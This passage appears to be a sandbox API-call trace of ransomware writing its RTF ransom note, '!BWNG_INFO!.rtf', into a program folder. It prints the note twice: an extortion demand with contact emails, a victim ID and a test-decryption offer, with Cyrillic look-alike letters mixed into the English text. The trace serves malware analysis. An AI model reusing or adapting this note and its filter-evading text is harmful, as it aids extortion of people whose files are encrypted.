v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.367] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.368] CloseHandle (hObject=0x1ac) returned 1 [0042.368] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\!bwng_info!.rtf")) returned 0xffffffff [0042.368] GetLastError () returned 0x2 [0042.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 